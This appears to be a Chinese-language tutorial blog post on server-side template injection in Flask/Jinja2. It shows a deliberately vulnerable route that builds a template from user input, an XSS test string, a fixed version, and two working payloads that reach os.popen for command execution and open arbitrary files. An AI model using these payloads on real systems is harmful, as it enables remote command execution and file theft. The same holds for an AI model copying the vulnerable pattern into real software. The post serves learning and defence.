0x00 關於Flask框架
https://www.cnblogs.com/hello-there/p/12776502.html
我的這篇文章中簡單介紹了Flask框架的基本知識
0x01
參考:
https://www.freebuf.com/column/187845.html
0x02 漏洞相關
1)render_template()用來渲染模板文件,而render_template_string()
用來渲染一個字符串.
index_page="<h1>This is index page!</h1>" return render_template_string(index_page)
2)漏洞形成原因:不正確的使用flask中的render_template_string
方法會引發SSTI。
a)下面來看一段存在漏洞的代碼:
from flask import Flask,render_template_string,request app = Flask(__name__) @app.route('/test/') def test(): code = request.args.get('id') //get方式獲取id html = ''' <h3>%s</h3> '''%(code) return render_template_string(html) app.run()
輸入[?id=1],頁面如下:
輸入[?id=<script>alert(/xss/)</script>],看看什么效果?
很明顯,造成了xss漏洞.
b)將代碼進行修改:
from flask import Flask,render_template_string,request app = Flask(__name__) @app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>{{code}}</h3> ''' return render_template_string(html,code=code) app.run()
再輸入[?id=<script>alert(/xss/)</script>],查看頁面,如下:
可以看到,js代碼被原樣輸出了。這是因為模板引擎一般都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。
0x03 SSTI文件讀取/命令執行
1)先貼兩條pyhon2,python3通用的payload:
#命令執行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
其中第一條payload中的[id]可以替換成命令,如ls,cat等,第二條payload的[filename]也可替換成文件名稱.
2)Go deeper
a)通過對python的對象繼承一步步來實現文件讀取和命令執行,思路大抵為:[尋找父類<type:'object'>]->尋找子類->尋找關於命令執行或者文件操作的模塊.
__class__ 返回類所屬的對象 __mro__ 輸出當前對象所調用的全部類包括其父類 __base__ 同__mro__,用來尋找基類 __subclasses__ 輸出該類下所有的子類(返回列表) __init__ 類的初始化方法 __globals__ 對包含函數全局變量的字典的引用
獲取字符串類的對象:
''.__class__ -><type 'str'>
尋找父類:
''.__class__.__mro__(__base__)
-><type 'str'>,<type 'basestring'>,<type 'object'>
尋找可用引用:
''.__class__.__base__.__subclasses__() -><type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>
由於本人目前技術有限,所以后面的過程就參考一位師傅的文章:
https://blog.csdn.net/qq_27446553/article/details/79379136?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3
文章里詳細介紹了尋找payload的思路.